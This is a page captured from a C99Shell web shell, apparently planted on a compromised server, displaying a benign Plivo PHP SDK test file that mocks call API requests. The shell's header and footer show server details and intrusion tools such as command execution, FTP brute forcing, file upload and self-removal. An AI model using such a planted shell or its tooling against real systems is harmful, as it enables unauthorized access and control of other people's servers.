!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/tests/Resources/   drwxr-xr-x
Free 29.18 GB of 117.98 GB (24.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CallTest.php (18.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Resources;


use 
Plivo\Http\PlivoRequest;
use 
Plivo\Http\PlivoResponse;
use 
Plivo\Tests\BaseTestCase;

/**
 * Class CallTest
 * @package Resources
 */
class CallTest extends BaseTestCase
{
    function 
testExceptionCallCreate()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/',
            [
                
'from' => '919999999999',
                
'to' => '919999999999',
                
'answer_url' => '919999999999'
            
]);
        
$body file_get_contents(__DIR__ '/../Mocks/callCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->create(
            
'919999999999', ['919999999999'], '919999999999');

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        foreach (
$actual as $actualCall) {
            
self::assertEquals(substr($actualCall->resourceUri033), "/v1/Account/MAXXXXXXXXXXXXXXXXXX/");
        }
    }

    function 
testCallCreate()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/',
            [
                
'from' => '919999999999',
                
'to' => '919999999998',
                
'answer_url' => 'http://answer.url'
            
]);
        
$body file_get_contents(__DIR__ '/../Mocks/callCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->create(
            
'919999999999', ['919999999998'], 'http://answer.url');

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
// $actual = json_decode($actual);

        
self::assertEquals($actual->message"call fired");
        
self::assertEquals($actual->requestUuid"9834029e-58b6-11e1-b8b7-a5bd0e4e126f");
        
self::assertEquals($actual->apiId"97ceeb52-58b6-11e1-86da-77300b68f8bb");
    }

    function 
testCallList()
    {
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/',
            [
'subaccount' => 'subacc']);
        
$body file_get_contents(__DIR__ '/../Mocks/callListResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->calls->list(['subaccount' => 'subacc']);

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        foreach(
$actual->resources as $actualCall) {
            
            
self::assertEquals(substr($actualCall->resourceUri033), "/v1/Account/MAXXXXXXXXXXXXXXXXXX/");
        }
    }

    function 
testCallDetails()
    {
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/4d04c52e-cea3-4458-bbdb-0bfc314ee7cd/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/callGetResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->calls->get("4d04c52e-cea3-4458-bbdb-0bfc314ee7cd");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->getId(), "4d04c52e-cea3-4458-bbdb-0bfc314ee7cd");
    }

    function 
testLiveCallList()
    {
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/',
            [
'status'=>'live']);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallListGetResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->calls->listLive;

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertGreaterThan(0count($actual));

        foreach (
$actual as $actualCall) {
            
self::assertEquals(36strlen($actualCall));
        }
    }

    function 
testLiveCallDetails()
    {
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/d0a87a1a-b0e9-4ab2-ac07-c22ee87cd04a/',
            [
'status'=>'live']);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallGetResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->calls->getLive("d0a87a1a-b0e9-4ab2-ac07-c22ee87cd04a");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->id"d0a87a1a-b0e9-4ab2-ac07-c22ee87cd04a");
    }

    function 
testLiveCallTransfer()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/',
            [
                
'legs'=>'both',
                
'aleg_url' => 'http://a.leg',
                
'bleg_url' => 'http://b.leg'
            
]);
        
$body file_get_contents(__DIR__ '/../Mocks/callUpdateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->transfer("dfshjkasfhjkasfhjkashf",
            [
'legs'=>'both',
            
'aleg_url' => 'http://a.leg',
            
'bleg_url' => 'http://b.leg']);

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->message"call transfered");
    }

    function 
testException1LiveCallTransfer()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest();
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallPlayCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$this->client->calls->transfer("dfshjkasfhjkasfhjkashf",
            [
'legs'=>'both',
                
'bleg_url' => 'http://b.leg']);
    }

    function 
testException2LiveCallTransfer()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest();
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallPlayCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$this->client->calls->transfer("dfshjkasfhjkasfhjkashf",
            [
'legs'=>'aleg',
                
'bleg_url' => 'http://b.leg']);
    }

    function 
testException3LiveCallTransfer()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest();
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallPlayCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$this->client->calls->transfer("dfshjkasfhjkasfhjkashf",
            [
'legs'=>'bleg']);
    }

    function 
testException4LiveCallTransfer()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest();
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallPlayCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$this->client->calls->transfer("dfshjkasfhjkasfhjkashf",
            [
'legs'=>'some other leg']);
    }

    function 
testException5LiveCallTransfer()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest();
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallPlayCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$this->client->calls->transfer("dfshjkasfhjkasfhjkashf",
            [
'bleg_url' => 'http://b.leg']);
    }

    function 
testLiveCallPlay()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Play/',
            [
'urls'=>'']);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallPlayCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->play("dfshjkasfhjkasfhjkashf", [""]);

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->message"play started");
    }

    function 
testExceptionLiveCallPlay()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Play/',
            [
'urls'=> '']);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallPlayCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));
        
$this->client->calls->play(null, [""]);
    }

    function 
testLiveCallStartPlay()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Play/',
            [
'urls'=>'']);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallPlayCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->startPlaying("dfshjkasfhjkasfhjkashf", [""]);

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->message"play started");
    }

    function 
testLiveCallStopPlay()
    {
        
$request = new PlivoRequest(
            
'DELETE',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Play/',
            []);
        
$body '{}';

        
$this->mock(new PlivoResponse($request,204$body));

        
$actual $this->client->calls->stopPlaying("dfshjkasfhjkasfhjkashf");

        
$this->assertRequest($request);

        
self::assertNull($actual);
    }

    function 
testLiveCallSpeak()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Speak/',
            [
'text'=>'Speak this']);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallSpeakCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->speak("dfshjkasfhjkasfhjkashf""Speak this");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->message"speak started");
    }

    function 
testExceptionLiveCallSpeak()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Speak/',
            [
'text'=>'Speak this']);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallSpeakCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));
        
$this->client->calls->speak(null"Speak this");
    }

    function 
testLiveCallStartSpeak()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Speak/',
            [
'text'=>'Speak this']);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallSpeakCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->startSpeaking("dfshjkasfhjkasfhjkashf""Speak this");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->message"speak started");
    }

    function 
testLiveCallStopSpeak()
    {
        
$request = new PlivoRequest(
            
'DELETE',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Speak/',
            []);
        
$body '{}';

        
$this->mock(new PlivoResponse($request,204$body));

        
$actual $this->client->calls->stopSpeaking("dfshjkasfhjkasfhjkashf");

        
$this->assertRequest($request);

        
self::assertNull($actual);
    }

    function 
testLiveCallRecord()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Record/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallRecordCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->record("dfshjkasfhjkasfhjkashf");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->url"http://s3.amazonaws.com/recordings_2013/48dfaf60-3b2a-11e3.mp3");
        
self::assertEquals($actual->message"call recording started");
        
self::assertEquals($actual->recordingId"48dfaf60-3b2a-11e3");
        
self::assertEquals($actual->apiId"c7b69074-58be-11e1-86da-adf28403fe48");
    }

    function 
testLiveCallStartRecord()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Record/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallRecordCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->startRecording("dfshjkasfhjkasfhjkashf");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->url"http://s3.amazonaws.com/recordings_2013/48dfaf60-3b2a-11e3.mp3");
        
self::assertEquals($actual->message"call recording started");
        
self::assertEquals($actual->recordingId"48dfaf60-3b2a-11e3");
        
self::assertEquals($actual->apiId"c7b69074-58be-11e1-86da-adf28403fe48");
    }

    function 
testLiveCallStopRecord()
    {
        
$request = new PlivoRequest(
            
'DELETE',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Record/',
            []);
        
$body '{}';

        
$this->mock(new PlivoResponse($request,204$body));

        
$actual $this->client->calls->stopRecording("dfshjkasfhjkasfhjkashf");

        
$this->assertRequest($request);

        
self::assertNull($actual);
    }

    function 
testExceptionLiveCallStartRecord()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Record/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallRecordCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->startRecording("");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->message"call recording started");
    }

    function 
testLiveCallStartStream()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Stream/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallStreamCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->startStream("dfshjkasfhjkasfhjkashf");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->message"audio streaming started");
        
self::assertEquals($actual->streamId"30852c23-ee79-4eb4-b7b9-cd360545965b");
        
self::assertEquals($actual->apiId"ff09383e-246f-11ed-a1fe-0242ac110004");
    }

    function 
testLiveCallStopStream()
    {
        
$request = new PlivoRequest(
            
'DELETE',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/Stream/',
            []);
        
$body '{}';

        
$this->mock(new PlivoResponse($request,204$body));

        
$actual $this->client->calls->stopStream("dfshjkasfhjkasfhjkashf");

        
$this->assertRequest($request);

        
self::assertNull($actual);
    }

    function 
testGetAllStreams()
    {
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/4d04c52e-cea3-4458-bbdb-0bfc314ee7cd/Stream',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallStreamGetAllResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->calls->getAllStreams("4d04c52e-cea3-4458-bbdb-0bfc314ee7cd");

        
self::assertNotNull($actual);

        
self::assertEquals($actual->meta, array('count'=>1'limit'=>20'next'=>null'offset'=>0'previous'=>null));
        
self::assertEquals($actual->objects, array(array('call_uuid'=>"4f045f7a-b04a-4364-8523-74e6072f4f72"'end_time'=>null'service_url'=>"ws://3ee3-106-51-87-58.ngrok.io"'start_time'=>null'status'=>"initiated"'status_callback_url'=>""'stream_id'=>"c436abf8-e8a1-4d96-9aa8-b9143f7f3517")));
    }

    function 
testLiveCallDtmf()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/DTMF/',
            [
'digits'=>"123"]);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallDtmfCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->dtmf("dfshjkasfhjkasfhjkashf""123");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->message"digits sent");
    }

    function 
testExceptionLiveCallDtmf()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Call/dfshjkasfhjkasfhjkashf/DTMF/',
            [
'digits'=>"123"]);
        
$body file_get_contents(__DIR__ '/../Mocks/liveCallDtmfCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->calls->dtmf("""123");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->message"digits sent");
    }

    function 
testLiveCallCancel()
    {
        
$request = new PlivoRequest(
            
'DELETE',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Request/dfshjkasfhjkasfhjkashf/',
            []);
        
$body '{}';

        
$this->mock(new PlivoResponse($request,204$body));

        
$actual $this->client->calls->cancel("dfshjkasfhjkasfhjkashf");

        
$this->assertRequest($request);

        
self::assertNull($actual);
    }

    function 
testExceptionLiveCallCancel()
    {
        
$this->expectPlivoException('Plivo\Exceptions\PlivoValidationException');
        
$request = new PlivoRequest(
            
'DELETE',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Request/dfshjkasfhjkasfhjkashf/',
            []);
        
$body '{}';

        
$this->mock(new PlivoResponse($request,204$body));

        
$actual $this->client->calls->cancel(null);

        
$this->assertRequest($request);

        
self::assertNull($actual);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--